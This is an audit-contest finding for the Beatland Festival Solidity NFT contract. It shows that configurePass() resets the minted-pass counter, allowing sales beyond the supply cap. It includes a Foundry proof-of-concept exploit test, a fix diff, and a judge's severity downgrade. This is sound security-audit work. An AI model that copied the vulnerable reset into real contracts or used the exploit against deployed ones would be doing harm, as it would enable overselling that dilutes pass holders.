Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

[H-01] Supply-Cap Reset Bypass `FestivalPass::InconfigurePass` function leading to — Unlimited Pass Minting

Supply-Cap Reset Bypass — Unlimited Pass Minting

Description

  • Normal behaviour: configurePass() should set the price and maximum supply once at launch, while passSupply[passId] keeps an accurate count of how many passes have already been minted.

  • Issue: Every time the organiser calls configurePass() the line below resets the minted counter to zero, letting the contract mint maxSupply more tokens on top of the existing supply, thereby breaking the advertised scarcity.

// FestivalPass.sol
function configurePass(
uint256 passId,
uint256 price,
uint256 maxSupply
) external onlyOrganizer {
// ... validation ...
passPrice[passId] = price;
passMaxSupply[passId] = maxSupply;
passSupply[passId] = 0; // Reset current supply — BUG
}

Risk

Likelihood:

  • The organiser inevitably needs to tweak pricing or supply during operations.

  • Each tweak triggers the buggy reset and allows overselling, so the issue will surface in normal maintenance workflows.

Impact:

  • Scarcity guarantees break; additional VIP/BACKSTAGE passes can be minted and sold, diluting existing holders.

  • Secondary-market prices and reputational trust suffer because the cap is no longer enforced.

Proof of Concept

The snippet below is taken from the Forge test test_PoC_SupplyCapBypass() and shows the minimum set of transactions required to reproduce the issue on-chain:

  1. Alice purchases what should be the only VIP pass, so passSupply == 1.

  2. The organiser calls configurePass() again; nothing in the UI indicates danger, yet the internal counter is flushed to zero.

  3. Bob now buys another VIP pass even though the cap is still set to 1. The contract happily mints it because it believes no passes exist.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
/**
* @title VulnerabilityPoCs
* @notice Proof-of-Concept tests demonstrating exploitable bugs within the Beatland Festival code base.
*/
contract VulnerabilityPoCs is Test {
BeatToken internal beatToken;
FestivalPass internal festivalPass;
address internal owner;
address internal organizer;
address internal alice;
address internal bob;
// Pass IDs
uint256 internal constant GENERAL_PASS = 1;
uint256 internal constant VIP_PASS = 2;
uint256 internal constant BACKSTAGE_PASS = 3;
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
alice = makeAddr("alice");
bob = makeAddr("bob");
// Deploy core contracts
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
// Link FestivalPass as the authorised festival contract in BeatToken
beatToken.setFestivalContract(address(festivalPass));
// Configure pass pricing / supply
vm.startPrank(organizer);
festivalPass.configurePass(GENERAL_PASS, 0.05 ether, 1_000);
festivalPass.configurePass(VIP_PASS, 0.1 ether, 1); // start with max supply = 1 (used in PoC-1)
festivalPass.configurePass(BACKSTAGE_PASS, 0.25 ether, 100);
vm.stopPrank();
// Fund users with ETH for pass purchases
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
}
/* ---------------------------------------------------------------------- */
/* PoC-1: Supply-Cap Bypass via configurePass reset */
/* ---------------------------------------------------------------------- */
/**
* @dev Shows that the organizer can reset `passSupply` to 0, enabling the
* sale of more passes than the declared `maxSupply`.
*/
function test_PoC_SupplyCapBypass() public {
// Alice purchases the sole VIP pass (supply = 1 / max = 1)
vm.prank(alice);
festivalPass.buyPass{value: 0.1 ether}(VIP_PASS);
// Organizer "updates" the same pass type – this silently resets
// `passSupply` to 0 while keeping `maxSupply` at 1.
vm.startPrank(organizer);
festivalPass.configurePass(VIP_PASS, 0.1 ether, 1);
vm.stopPrank();
// Bob is now able to purchase another VIP pass even though the real
// circulating supply will become 2 > maxSupply(1).
vm.prank(bob);
festivalPass.buyPass{value: 0.1 ether}(VIP_PASS);
// ------------------------------------------------------------------
// Assert: total on-chain balance > recorded `passSupply`
// ------------------------------------------------------------------
uint256 actualCirculating = festivalPass.balanceOf(alice, VIP_PASS) + festivalPass.balanceOf(bob, VIP_PASS);
assertEq(actualCirculating, 2, "Circulating supply should be 2 (over cap)");
assertEq(festivalPass.passSupply(VIP_PASS), 1, "Internal supply counter incorrectly reset to 1");
}
}

Recommended Mitigation

The fix must ensure the historical mint count is never lost once sales start. Two safe patterns:

- passSupply[passId] = 0; // Reset current supply
+ require(
+ passSupply[passId] == 0,
+ "Cannot reconfigure after sales have started"
+ );
// OR simply omit the line so historical supply is preserved
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

configurePass resets the current pass supply circumventing the max supply check

This is not acceptable as high because any attack vectors related to organizer trying to milk ETH from participants is voided by the fact that the organizer is trusted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.